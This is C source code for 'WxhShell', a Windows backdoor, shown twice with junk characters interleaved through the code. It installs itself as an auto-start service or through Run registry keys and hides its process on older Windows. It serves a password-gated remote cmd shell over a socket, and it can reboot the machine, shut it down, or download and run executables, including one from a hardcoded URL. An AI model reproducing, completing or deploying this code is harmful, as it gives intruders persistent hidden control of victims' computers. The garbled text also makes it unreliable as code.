(PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); G/ToiUY ?:F#WDD if (!NtQueryInformationProcess) return 0; Iqe=) Q $Y ]KV hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ZaYux-0]kF if(!hProcess) return 0; #M$Gj>E%4 /*=1hF if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; gB1w,96J H(bR@Qok CloseHandle(hProcess); ab4(?-'- ./nq*4= hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);
QV/o; if(hProcess==NULL) return 0; ^b)8l g/Q hI HMODULE hMod; ]#>;C: L char procName[255]; -Bymt[ unsigned long cbNeeded; 2uw1R;zw 9&e=s<6dO if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2t'^ &wc%mQV CloseHandle(hProcess); 8z\v|-%Z \d~sU,L;] if(strstr(procName,"services")) return 1; // 以服务启动 Hbz >D5$ ^gx`@^su return 0; // 注册表启动 /7Z5_q_ } }S84^2J_ 04{*iS95J // 主模块 p&'oJy.P int StartWxhshell(LPSTR lpCmdLine) e@[9WnxYe { [:Kl0m7 SOCKET wsl; Q;
DN* BOOL val=TRUE; (dZu& int port=0; RK%N:!fq= struct sockaddr_in door; CSF-2lSG ?2h)w=dO if(wscfg.ws_autoins) Install(); D=*3Xd
/~`4a port=atoi(lpCmdLine);
[7d>c 26n+v(re if(port<=0) port=wscfg.ws_port; 2S'{$m)
m,UMb#7Y WSADATA data; .|=~x3mPw if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;{@ [ek6 HPM
ggRs if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; y"4Nw]kU setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7P!<c/ E door.sin_family = AF_INET; {OHaI ; door.sin_addr.s_addr = inet_addr("127.0.0.1"); M1(+_W` door.sin_port = htons(port); -P"9KnsO Bn>"lDf, if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { nff
X closesocket(wsl); Kgev*xg return 1; 0< i]ph } ^&gu{kP d&mSoPf if(listen(wsl,2) == INVALID_SOCKET) { " sh%8
<N closesocket(wsl); 9X<o8^V return 1; Z!\xVCG"q } 8}9B*m Wxhshell(wsl); &fH;A X. WSACleanup(); tNsiokOm <\i}zoPO return 0; vU5a`0mH vFuf{ @P } Z)=S. ) ')!+>b(P // 以NT服务方式启动 r3.A!*! VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) M[aF3bbN { 1eiV[z$? DWORD status = 0; 3{wr*L1%-~ DWORD specificError = 0xfffffff;
ySC;;k' )tc"4lp- serviceStatus.dwServiceType = SERVICE_WIN32; >(N0''eM] serviceStatus.dwCurrentState = SERVICE_START_PENDING; khSb|mR) serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 01bBZWX serviceStatus.dwWin32ExitCode = 0; uCX+Lw+As serviceStatus.dwServiceSpecificExitCode = 0; Skm$:`u; serviceStatus.dwCheckPoint = 0; H oA[UT serviceStatus.dwWaitHint = 0; rof&O #Av6BGM|, hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); QuEfV ?)_4 if (hServiceStatusHandle==0) return; CUz1q*): Snm
m(. status = GetLastError(); R.KqTEs<k if (status!=NO_ERROR) <zmtVE*>g { 0#K?SuY.eN serviceStatus.dwCurrentState = SERVICE_STOPPED; ;%u'w;sgq serviceStatus.dwCheckPoint = 0; :)/%*<vq, serviceStatus.dwWaitHint = 0; j+B+>r^ serviceStatus.dwWin32ExitCode = status; H"~]|@g-p serviceStatus.dwServiceSpecificExitCode = specificError; EbTjBq SetServiceStatus(hServiceStatusHandle, &serviceStatus); i:8g3|JfMe return; gDY+'6m; } p72:oX\QI /`d|W$vN serviceStatus.dwCurrentState = SERVICE_RUNNING; ARcPHV<(2 serviceStatus.dwCheckPoint = 0; A\{dq: serviceStatus.dwWaitHint = 0; L`$m<9w' if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2L=+z1%I } 6O|B'?]Pf hN(sz // 处理NT服务事件,比如:启动、停止 d=?Kk4Ag VOID WINAPI NTServiceHandler(DWORD fdwControl) KC@F"/h`/ {
aD5jy switch(fdwControl) ",U>;` { j Wa%vA case SERVICE_CONTROL_STOP: l# -4}95 serviceStatus.dwWin32ExitCode = 0; j,7NLb9M serviceStatus.dwCurrentState = SERVICE_STOPPED; Rg4'9I%B serviceStatus.dwCheckPoint = 0; .23z\M8
- serviceStatus.dwWaitHint = 0; M\%LB}4M { &.1F\/]k SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,k% \f]a } p#-;u1-B return; h>s|MZQ:* case SERVICE_CONTROL_PAUSE: Qi&!Ub] serviceStatus.dwCurrentState = SERVICE_PAUSED; z^tws*u],5 break; #g)$m}tv? case SERVICE_CONTROL_CONTINUE: HiTn 5XNf serviceStatus.dwCurrentState = SERVICE_RUNNING; :g1C,M~ break; 3Thb0\<" case SERVICE_CONTROL_INTERROGATE: #w2;n@7;X break; /qf2LO'+ }; f>g<:.k* SetServiceStatus(hServiceStatusHandle, &serviceStatus); f-Yp`lnn.d } Oy U[( BU\P5uB!V // 标准应用程序主函数 %by8i1HR int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) mFL"h { {Ac5(li_ @fDWp/ // 获取操作系统版本 ZS\jbii8 OsIsNt=GetOsVer(); K YSyz)M} GetModuleFileName(NULL,ExeFile,MAX_PATH); BQ&G7V .f+ul@o // 从命令行安装 tS$^k)ZXip if(strpbrk(lpCmdLine,"iI")) Install(); O\=U'6@ pn},o vR; // 下载执行文件 "O`{QVg: if(wscfg.ws_downexe) { AsBep if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 942(a WinExec(wscfg.ws_filenam,SW_HIDE); Ww8C}2g3 } 5C03)Go3Z w!~%v
#
if(!OsIsNt) { |
rY.IbL // 如果时win9x,隐藏进程并且设置为注册表启动 RR*eq.; HideProc(); @-uV6X8| StartWxhshell(lpCmdLine); )3W`>7> } BvXA9YQ3 else D1Yc_ if(StartFromService()) y)`f$Hl@1 // 以服务方式启动 -2)6QKh~D StartServiceCtrlDispatcher(DispatchTable); !/1aot^( else *'b3Z3c,; // 普通方式启动 B hO*Pfs StartWxhshell(lpCmdLine); 3<5E254N P>*B{fi^ return 0; *aE/\b } Y)X
'hk)5| vr /O%mDp )qgcz<p?W 0?]Y^: =========================================== $L~?!u&N J>H$4t#HX i{#5=np H ^jY'Hj.Bs RnvPqNs oCl
$ 0x " QkEIV<T&)l F XpI-?#E< #include <stdio.h> ]n8
5.DF #include <string.h> r8o9C #include <windows.h> g{t)I0xm #include <winsock2.h> '}\#bMeObg #include <winsvc.h> @O&<_& #include <urlmon.h> KW3Dr`A !,;>)R #pragma comment (lib, "Ws2_32.lib") >8I?YT. #pragma comment (lib, "urlmon.lib") Ts+S>$ br@GnjG #define MAX_USER 100 // 最大客户端连接数 \O*8% #define BUF_SOCK 200 // sock buffer XI4le=^EM #define KEY_BUFF 255 // 输入 buffer *]L(,_:" )#^5$5 #define REBOOT 0 // 重启 -r.Qy(}p #define SHUTDOWN 1 // 关机 .7h:/d
Y: 7Ya4>*B #define DEF_PORT 5000 // 监听端口 Ya%-/u 3WOm`< #define REG_LEN 16 // 注册表键长度 #FAy
]7/O #define SVC_LEN 80 // NT服务名长度 /S}4J" R2]2#3` // 从dll定义API jH4,- typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); q%G"P*g$( typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); t`b!3U>I typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .ZV-]jgr typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); AW;ncx; =Nyq1~ // wxhshell配置信息 j_3X
1w)k struct WSCFG { mes/gqrJ1I int ws_port; // 监听端口 V30Om3C char ws_passstr[REG_LEN]; // 口令 w=dTa5 int ws_autoins; // 安装标记, 1=yes 0=no ,YEwz3$5u char ws_regname[REG_LEN]; // 注册表键名 2j9+ f{ l char ws_svcname[REG_LEN]; // 服务名 S<
TUZ
/; char ws_svcdisp[SVC_LEN]; // 服务显示名 )SX2%&N char ws_svcdesc[SVC_LEN]; // 服务描述信息 B)q 5m
y char ws_passmsg[SVC_LEN]; // 密码输入提示信息 676r0` int ws_downexe; // 下载执行标记, 1=yes 0=no vlygS(Y_7 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" X9|={ng)g# char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +,"O#`sy< S:.Vt&+NJ }; <)f1skJsP -&AgjzN! // default Wxhshell configuration m$ubxI) struct WSCFG wscfg={DEF_PORT, !Zr 9t|_ "xuhuanlingzhe", @X$~{Vp__ 1, DdI
V~CxD "Wxhshell", J)*7JX "Wxhshell", E41ay:duAl "WxhShell Service", )~u<u:N "Wrsky Windows CmdShell Service", RotWMGNK "Please Input Your Password: ", /Dmuvb|A 1, lk<}`#( g "http://www.wrsky.com/wxhshell.exe", !=-{$& { "Wxhshell.exe" fz9
,p;b }; vtm?x,h q6A"+w,N // 消息定义模块 :1O49g3R char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; h(<2{%j char *msg_ws_prompt="\n\r? for help\n\r#>"; xcVF0%wVC char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >Y3ZK{b char *msg_ws_ext="\n\rExit."; &8w
MGahp char *msg_ws_end="\n\rQuit."; j'2:z# char *msg_ws_boot="\n\rReboot..."; s-S#qGZ char *msg_ws_poff="\n\rShutdown..."; bhqV2y*' char *msg_ws_down="\n\rSave to "; {.,-lFb\ 2@W'q=+0 char *msg_ws_err="\n\rErr!"; 2.
t'!uwI char *msg_ws_ok="\n\rOK!"; =!?4$vW @(b;H0r~ char ExeFile[MAX_PATH]; AW\#)Em int nUser = 0; >j%4U* HANDLE handles[MAX_USER]; [ST,/<?0 int OsIsNt;
KF.d: BEfP#h=hr SERVICE_STATUS serviceStatus; L/39<&W SERVICE_STATUS_HANDLE hServiceStatusHandle; q'% cVM =
Ff 2 // 函数声明 $G,#nh2 oD int Install(void); n'i~1pM,? int Uninstall(void); 1kX>sajp~ int DownloadFile(char *sURL, SOCKET wsh); ,;
81FK int Boot(int flag); cBGR%w\t% void HideProc(void); ^U5g7Emf int GetOsVer(void); 8c1ma int Wxhshell(SOCKET wsl); Ig.9:v` void TalkWithClient(void *cs); o 9?#;B$ int CmdShell(SOCKET sock); f@)GiLC'" int StartFromService(void); 3|Vh[iAa\ int StartWxhshell(LPSTR lpCmdLine); v\#1&</qd^ mO?yrM * VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); saPg2N, VOID WINAPI NTServiceHandler( DWORD fdwControl ); f ^vz @i9eH8lT // 数据结构和表定义 8-"lK7 SERVICE_TABLE_ENTRY DispatchTable[] = 1OwVb { &3_S+.JO {wscfg.ws_svcname, NTServiceMain}, xGBp+j1H {NULL, NULL} vgyv~Px]AW }; A4|L;z/A[h H[;\[3 // 自我安装 sX,."@[ int Install(void) DV6B_A{kI { kJfMTfl, char svExeFile[MAX_PATH]; Jh6 z5xUV HKEY key; 1>"Yw|F-|3 strcpy(svExeFile,ExeFile); ]Av)N6$&-Z C8oAl3d+h // 如果是win9x系统,修改注册表设为自启动 5(qc_~p^ if(!OsIsNt) { B=,j$uH if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b-Uy&+:X*d RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |s}7<A RegCloseKey(key); `%5~>vPS if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /W @k: RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o4l=oY:' RegCloseKey(key); |PY*"Ul return 0; BQ
/0z^A } Y \oz9tf8 } e5HHsR6 } 920 o]Dh=t else { {i!@C(M3 %aHQIoxg // 如果是NT以上系统,安装为系统服务 xUw)mUn@N SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); -Y:^<C^^&8 if (schSCManager!=0) VW%eB { &1(PS)s SC_HANDLE schService = CreateService ^j)0&}fB ( \ld{Z;e schSCManager, !=t.AgmL wscfg.ws_svcname, T=-$ok`G wscfg.ws_svcdisp, V]fsjpvlmr SERVICE_ALL_ACCESS, jeLC)lQ* SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {YT@$K]w, SERVICE_AUTO_START, !92zC._ SERVICE_ERROR_NORMAL, c1CUG1i svExeFile, mY& HK) NULL, [$+N"4 NULL, fdCN?p[_ NULL, Ac,Qj`'V NULL, uLK4tQ NULL LNU#NJ^Axt ); ]
1:pnd if (schService!=0) ML= :&M!ao { OqW (C CloseServiceHandle(schService); d7)EzW|I; CloseServiceHandle(schSCManager); jykY8;4 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8t$w/#'@ strcat(svExeFile,wscfg.ws_svcname); qE W3k), if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { to%n2^^K RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); y G{;kJ P RegCloseKey(key); 2dpTU=K4 return 0; 8`?vWJS } kNnI$(H"H } Dg_AoC CloseServiceHandle(schSCManager); %Q2<bj] } iAWd
9x } *H''.6 PL6f**{- return 1; ~ v21b? } bFt$u]Yvo y"o@?bny // 自我卸载 FJYc*l int Uninstall(void) UrhSX!g/A> { ~Y3"vdd
HKEY key; MPxe|Wws h+<F,0 if(!OsIsNt) { nxZ[E.-\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nTd[-3o RegDeleteValue(key,wscfg.ws_regname); wFHbz9|@I RegCloseKey(key); rcx'`CIJ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F\"`^`(O RegDeleteValue(key,wscfg.ws_regname); ',g'Tl^E RegCloseKey(key); <8_~60 return 0; j1Q"s( } ^]A,Q%1q^ } $^XCI%DH } {G^f/% else { 3%'Y): &|8R4l C| SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )?zlhsu}1; if (schSCManager!=0) <Jwx| { >I^_kBa SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =SEgv;#KZ~ if (schService!=0) mO1r~-~AJ { x_K8Gr#Z 0 if(DeleteService(schService)!=0) { .dvO Ut I[ CloseServiceHandle(schService); 4{Q{>S*h CloseServiceHandle(schSCManager); ivb?B,Lz0 return 0; K>a+-QWK3 } "{igrl8 CloseServiceHandle(schService); I\FBf&~ } "-U`E)]w*[ CloseServiceHandle(schSCManager); <hA1[S} } Qv`Lc]' } 1q Jz;\wU r`8>@2sW1 return 1; /eI]!a } =bwuLno> 8:=EA3 // 从指定url下载文件 hfBZ:es+ int DownloadFile(char *sURL, SOCKET wsh) NUvHY: { *Mg. *N HRESULT hr; *=p[;V char seps[]= "/"; (X?'}Ur char *token; j0F'I*Z3 char *file; P
nxx W? char myURL[MAX_PATH]; R
| &+g\{; char myFILE[MAX_PATH]; zx7g5;J #Xa TUT strcpy(myURL,sURL); w
'<8lw token=strtok(myURL,seps); ER ^#J** while(token!=NULL) [|)Eyd[G { M~uX!bDH file=token; ?;dfA/ token=strtok(NULL,seps); `7))[._ } tU :,s^E"# fZH";_"1 GetCurrentDirectory(MAX_PATH,myFILE); k-`5TmW strcat(myFILE, "\\"); ZI0C%c.~ strcat(myFILE, file); _K#LOSMfj/ send(wsh,myFILE,strlen(myFILE),0); 6hvmp send(wsh,"...",3,0); 42Vz6 k: hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <.HDv:
if(hr==S_OK) q|N/vkqPz return 0; ,8vqzI else pFZ2(b& return 1; 2Y` C\u OK6c"*<z } c2aW4TX2 .-[d6Pnw // 系统电源模块 ha%3%O8Z int Boot(int flag) mK>c+ u) { yl#(jb[?1 HANDLE hToken; 5^}"Tn4I TOKEN_PRIVILEGES tkp; ycr\vn
t T/$6ov+K if(OsIsNt) { 7P!Hryy OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); k^vsQ'TD LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
@o g&l; tkp.PrivilegeCount = 1; JQp::,g tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^-24S#KE AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); <1L?Xhoc6 if(flag==REBOOT) { +frkC| . if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) mqx#N% return 0; .8O. } DAPbFY9 else { %e71BZo~^s if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) YjT7_|`(] return 0; j?YZOO>X } k$u/6lw]IB } b/I_iJ8t else { *s"dCc if(flag==REBOOT) { Pz/bne;= if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) X;hV+|Bo return 0; %O!~!'
} <![]=~z$ else { k7 0o=} if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) e{~3& return 0; 0rjH`H]M } UZ`G S$D@ } +-VkRr# 2[ #7YWs return 1; (eOzntp8 } ,Qd;t 2GHmA_7P // win9x进程隐藏模块 '}Tf9L% void HideProc(void) POl[]ni=> { $Eo)i !D_Qat HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); C|@6rr9TA if ( hKernel != NULL ) mo$`a6[h< { |BO!q9633V pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); RbY=OOQ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); cr&sI=i FreeLibrary(hKernel); \UD:9g" } AaVj^iy/X $Ka-ZPy<# return; >sUavvJ~x } +~E;x1&' jmDQKqEc|l // 获取操作系统版本 aWG7k#nE int GetOsVer(void) '\&t3?; { Oc51|[
Wj OSVERSIONINFO winfo; W[dK{?RB winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4FWb5b!A= GetVersionEx(&winfo); XJs*DK if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \5MW65 return 1; )_|;h2I else 7u9]BhcFv? return 0; h=fzX.dt } efK|)_i
: u; c)Tt // 客户端句柄模块 ,:Q+>h int Wxhshell(SOCKET wsl) *kliI]BF] { 2]$
7 SOCKET wsh; e~NEyS~3 struct sockaddr_in client; /!V)2j, DWORD myID; x9,X0JO x8#bd{ while(nUser<MAX_USER) wNHvYulI { zNu>25/)( int nSize=sizeof(client); 0#gu7n|J wsh=accept(wsl,(struct sockaddr *)&client,&nSize); KfSI6
Y_ if(wsh==INVALID_SOCKET) return 1; ,-C%+SC YH0=YmU#X handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Wsz-#kc\[ if(handles[nUser]==0) 6@"lIKeP closesocket(wsh); N3_rqRd^ else ]dx6E6A,
nUser++; OwdA6it^f } B.e3IM0 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3C+!Y#F K,!"5W rX* return 0; W+F^(SC\ } u9TiEEof3 , ;'y <GA // 关闭 socket eQiK\iDS void CloseIt(SOCKET wsh) IfeCSK,x { Gk!06 closesocket(wsh); $P9'"a)Lm nUser--; yX^/Oc@j ExitThread(0); Au-_6dT } @Kx@ 2#~b s/;iZiWK // 客户端请求句柄 lWVvAoe void TalkWithClient(void *cs) X9J&OQ[W { Rl. YF+YH *A2D}X3s SOCKET wsh=(SOCKET)cs; (1t b char pwd[SVC_LEN]; w^_[(9
` char cmd[KEY_BUFF]; b5-W K; char chr[1]; -^Pn4y]A) int i,j; V Z#@7t %Sgdhgk1 while (nUser < MAX_USER) { !\)9fOLs 9Y6Ear .W if(wscfg.ws_passstr) { XLog+F$` if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %^5|3l3y //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); TA2?Ia;@xV //ZeroMemory(pwd,KEY_BUFF); t_VF=B^LuR i=0; SuO@LroxTB while(i<SVC_LEN) { 7$z]oVbO' =54"9* // 设置超时 ]r|nz~Aa$ fd_set FdRead; ODggGB` H` struct timeval TimeOut; %ut^ O FD_ZERO(&FdRead); NZP>aV- FD_SET(wsh,&FdRead); ^}F @*A;o TimeOut.tv_sec=8; }i)^?@ TimeOut.tv_usec=0; 4Jf6uhaE int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4iDlBs+ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >~nc7j
u @@?P\jv~ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L.cGt"{ pwd=chr[0]; ~{8X$xs if(chr[0]==0xd || chr[0]==0xa) { ,%bG]5 pwd=0; uxxS."~ break; e\9H'$1\ } UBgheu i++; l"C)Ia&/ } 1 2Lc$\3P eJ=K*t| // 如果是非法用户,关闭 socket /^m3?q[a if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); K&\3j-8^ } =b{!p | W=[..d send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /C'dW send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e>OYJd0s mYE 8]4 while(1) { U{)|z-n BEm~o#D ZeroMemory(cmd,KEY_BUFF); q h+c}"4m gz,x6mnQ // 自动支持客户端 telnet标准 1L4-hYtCj j=0; !oJ226>WI while(j<KEY_BUFF) { ^GyGh{@,f if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $bGe1\ cmd[j]=chr[0]; /+11`B09 if(chr[0]==0xa || chr[0]==0xd) { KMhEU** cmd[j]=0; YgeU>I|v break; h
rksPK"s2 } MFHc>O
DA j++; !9n!:"(r } N?RJuDW ]+OHxCj: // 下载文件 #S*@RKSE|7 if(strstr(cmd,"http://")) { A `H&"A send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]tu:V,q if(DownloadFile(cmd,wsh)) o#X=1us send(wsh,msg_ws_err,strlen(msg_ws_err),0); uTX0lu; else Nydhal00 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &3o[^_Ti } [i
] else { 6G6B!x f19~B[a switch(cmd[0]) { ssWSY(j] x}c%8dO#J // 帮助 F1q a`j^' case '?': { G;'=#c
^ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _(TYR* break; SviGLv;oR } #nzVgV] // 安装 g4`)n` case 'i': { <+/:}S4w) if(Install()) /.Fvl;!J; send(wsh,msg_ws_err,strlen(msg_ws_err),0); f<Co&^A else Uc?4!{$X send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
JyfWy break; d{gj8 } RH"&B` // 卸载 .;:jGe( case 'r': { /F3bZ3F if(Uninstall()) FTA[O.tiG send(wsh,msg_ws_err,strlen(msg_ws_err),0); |.q K69 else :.K#=ROP send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1Ar6hA break; knPo"GQW } :We}l;.jQ // 显示 wxhshell 所在路径 lwhVP$q} case 'p': { Z,? T`[4B char svExeFile[MAX_PATH]; --32kuF&( strcpy(svExeFile,"\n\r"); f"wm]Q59 strcat(svExeFile,ExeFile); w|;kL{(W send(wsh,svExeFile,strlen(svExeFile),0); 7wm9S4+| break; e@GR[0~ } p?#cn
// 重启 fFBD5q(n case 'b': { c'678!r9 P send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Za&.sg3RG if(Boot(REBOOT)) W8/8V, send(wsh,msg_ws_err,strlen(msg_ws_err),0); S]P80|!| else { 0D\b;ju< closesocket(wsh); =N+Ou5D ExitThread(0); EZz`pE } }EW@/; kC break; M<
T[%)v } rLy<3 // 关机 8:iu 8c$ case 'd': { N@z+h send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); T9N&Nh7 3 if(Boot(SHUTDOWN)) Ao%;!(\I% send(wsh,msg_ws_err,strlen(msg_ws_err),0); IO(Y_7 else { RyxEZ7dC<y closesocket(wsh); ~MgU"P> ExitThread(0); 0(
s
io\ }
H/eyc` break; bay7%[BLB } K yqFeR // 获取shell +&T;jad2 case 's': { W/U_:^[- CmdShell(wsh); RZV8{ closesocket(wsh); nhUL{ER ExitThread(0); ^J([w~& break; uAWmg8 } gEE6O%]g // 退出 CUS^j case 'x': { z_jTR[dY send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "DW; 6<m CloseIt(wsh); icX$<lD break; 6L2Si4OGjG } vfh0aW-O // 离开 K]b_JDEk case 'q': { azUEp8`| send(wsh,msg_ws_end,strlen(msg_ws_end),0); kRyt|ryWh closesocket(wsh); LB)sk$) WSACleanup(); ]/_GHG9 exit(1); Hko(@z break; g;>M{)A } ${/"u3a_ } T%Vg0Y)P; } K }]0<\N zW@OSKq4 // 提示信息 |?t6h 5Mt" if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )"&$.bWn } ic"n*SZa } Ul<'@A8 lu GEBPi return; )<6zbG } lO+<T[ Dm3/i|Y // shell模块句柄 3,snx4q
( int CmdShell(SOCKET sock) pY3N7&m\: { (N etn& STARTUPINFO si; %7_c|G1 ZeroMemory(&si,sizeof(si)); #$vef
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xELnik_L2 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Kp|#04] PROCESS_INFORMATION ProcessInfo; .
k6) char cmdline[]="cmd"; H& #Od? CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); H3#xBn>9 return 0; >};6>)0 } yqg&dq No\H
QQ // 自身启动模式 [ imC21U int StartFromService(void) ,sAN,?eG~ { "4{_amgm&< typedef struct A~vZ}?*M { LE15y> DWORD ExitStatus; xLE+"6;W DWORD PebBaseAddress; )8c`o DWORD AffinityMask; CIM9~:\ DWORD BasePriority; 8e'0AI_> ULONG UniqueProcessId; a{lDHk`Wf ULONG InheritedFromUniqueProcessId; !lSxBr[dQ } PROCESS_BASIC_INFORMATION; c=YJ:&/5& b&$ ?.z PROCNTQSIP NtQueryInformationProcess; ^J8sR4p# ^6?NYHMr= static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (1bz.N8z static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [;c'o5M& a0"gt"qA HANDLE hProcess; C?n3J PROCESS_BASIC_INFORMATION pbi; 1MtvnPY W#<&(s4 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");
`ag7xd! if(NULL == hInst ) return 0; XUD/\MoV Y$^x.^dT, g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); kT(}>=]g g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Nk-biD/J NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); mx#H+:}&r qAH@)} if (!NtQueryInformationProcess) return 0; 0Fw0#eE Ozk^B{{o
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); o6pnTu if(!hProcess) return 0; TQ?D*& Sx,O) if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :E|HP#iwu 1i}Rc: CloseHandle(hProcess); mT.p-C ObC hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <v?9:} if(hProcess==NULL) return 0; >4:W:;R _tR%7%3* HMODULE hMod; "y>\
mC char procName[255]; 5Wj+ey^^w unsigned long cbNeeded; %h**L'~`` 28[dTsd% if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _nR8L`l*z TEZ^Ia CloseHandle(hProcess); o~
